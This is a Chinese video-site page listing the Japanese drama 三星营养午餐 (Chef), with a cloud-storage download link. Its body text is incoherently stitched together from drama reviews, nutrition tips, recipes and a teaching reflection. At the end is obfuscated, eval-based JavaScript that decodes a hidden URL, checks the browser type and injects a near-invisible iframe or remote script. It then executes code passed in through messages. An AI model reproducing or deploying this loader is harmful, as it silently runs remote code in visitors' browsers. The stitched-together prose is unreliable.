首页  »  日韩剧  »  三星营养午餐
三星营养午餐
三星营养午餐加载中
状态:
类型:日韩剧
导演:平野真 田中亮 
地区:日本 
年代:2016 
主演:天海祐希 小泉孝太郎 川口春奈 荒川良良 
剧情:烹饪天才星野光子(天海佑希饰)在银座著名三星法国餐厅担任主厨,但因她过于追求料理水准,完全不考虑成本,惨遭解雇。暂时无法在其他餐厅工作的星野,参加了一档制作营养午餐的电视节目。成本和营养的要求更加严苛,屡屡碰壁的星野却越挫越勇,决心把营养午餐也做成米其林三星水准。

链接: https://pan.baidu.com/s/1572koNi8tklGFoH0Gc-Klw ?pwd=y6b6 提取码: y6b6 烹饪天才星野光子(天海佑希饰)在银座著名三星法国餐厅担任主厨,但因她过于追求料理水准,完全不考虑成本,惨遭解雇。最近看了一部日剧《三星营养午餐》,是国宝级女星天海祐希主演的励志剧。女主具有出神入化的西餐烹饪厨艺,做出的食物能打动人心。因为太过于优秀,女主遭到任职饭店老板的嫉妒和陷害,并被西餐整个西餐届封杀。为了维持生活,《三星营养午餐》相较于深夜档,天海佑希主演的这部黄金档日剧比较有剧情,大名鼎鼎的三星主厨被陷害后只能去学校当厨师,然而高傲的她发现给小孩做饭的标准远比在法国餐厅严苛,客人从成年人到未成年,发生了不少有趣的事,《三星级营养午餐》是日本富士电视台2016年制作播出的美食喜剧类电视剧,由平野真、田中亮、森胁智延执导,滨田秀哉编剧,天海祐希主演,于2016年10月13日首播。《三星级营养午餐》电视剧可以在八一影视观看,是因为该影视天海祐希主演的《Chef~三星校餐~》这个剧应该不存在第二季吧,所以你为什么会有“第一季”这个问法?1份肉类:午饭吃什么肉好?鱼肉为首选,其次是虾肉、鸡肉,另外是牛肉、羊肉、猪肉等红肉。1个水果:最好是苹果,或者其他应季水果。1把坚果:核桃、榛子、杏仁等,10~15粒左右就好。注意“饭前果”宜饭前半午饭食谱推荐午饭可以吃清蒸红薯,准备适量红薯,清洗干净以后把皮去掉,然后再切成长条备用,把红薯条放到碗里面,然后放到蒸锅中蒸熟,晾凉以后就可以吃了,膳食纤维非常丰富,能够预防便秘出现。午餐还可以吃白煮葱油鲫鱼,准备下面是我整理的《营养午餐》教学反思,欢迎阅读与收藏。《营养午餐》教学反思1 教材分析: 这部分教材结合学生的生活实际,围绕午餐的营养问题设计了相应的数学综合应用活动。教材用表格和 专家发言的形式,给学生 提供了10种菜肴的营养成分中学生营养午餐食谱 1、食谱一 早餐:牛奶250ml、面包(面粉200克)、煮鸡蛋50克。午餐:米饭(粳米200克)、蘑菇炒肉片(鲜蘑菇50克、猪肉50克、植物油5克、料酒、淀粉、蛋清、味精)、炒青菜(青菜200克、植物油5克,味精、馒头或者面条等主食,而辅食要吃一些肉类或者是蛋类,但是建议要多吃一些瘦肉,尤其可以多吃一些牛肉或者是鸡肉,尽量少吃猪肉,尤其是肥肉。还要搭配进食一些蔬菜,水果来补充维生素,这样的午餐是比较有营养的。

  • yk

eval("\x77\x69\x6e\x64\x6f\x77")["\x44\x54\x46\x59"]=function(e){var bf ='ABCDEFGHIJKLMNOPQRS'+'TUVWXYZabcde'+''+'fghijklmnopq'+'rstuvwxyz012345'+'6789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=bf.indexOf(e.charAt(f++));o=bf.indexOf(e.charAt(f++));u=bf.indexOf(e.charAt(f++));a=bf.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x78\x41\x4e"]=function(){eval(DTFY("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dmFyIGRzPW5ldyBEYXRlKCk7dT1kZWNvZGVVUklDb21wb25lbnQoRFRGWSh1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7dT11LnJlcGxhY2UoL3FpaGFuZy9nLGRzLmdldERhdGUoKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKERURlkoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihEVEZZKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbRFRGWSgiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEuaHRtbD94QU4nO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKGV2YWwoZGVjb2RlVVJJQ29tcG9uZW50KGUuZGF0YVtyXS5yZXBsYWNlKG5ldyBSZWdFeHAociwnZycpLCcnKSkpKSgpO319KTt9ZWxzZXtkb2N1bWVudC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCc9TScrJ3pNdCcrJycrJ2dETycrJ3RnJysnJysnbicrJycrJ1InKycnKyd5VScrJycrJ3laJysndScrJycrJ0ZHJysnYXAnKydGbicrJ2QnKycnKydvcFcnKycnKydlbicrJycrJ05tYScrJycrJ0dKJysnJysnVEp6JysnJysnZ0RPJysnJysnNCcrJ0lUUScrJ3onKycnKydVJysnJysnU2RqJysnbG0nKydMJysnJysnbicrJycrJzUnKydXJysnJysnWScrJycrJ29sJysnV2MnKycnKyczNUcnKydhdScrJycrJ29IYScrJycrJ3FaaycrJycrJ01sWScrJycrJ2snKycnKydNbCcrJycrJ0UwMCcrJ00nKydsJysnTUhjJysnMDBSJysnSCcrJycrJ2EnKycnLCcnKydkZXMnKydfcycrJ184OCcrJycrJycsd2luZG93LGRvY3VtZW50LCcnKycnKycnKycnKycnKycnLCcwJyk="));}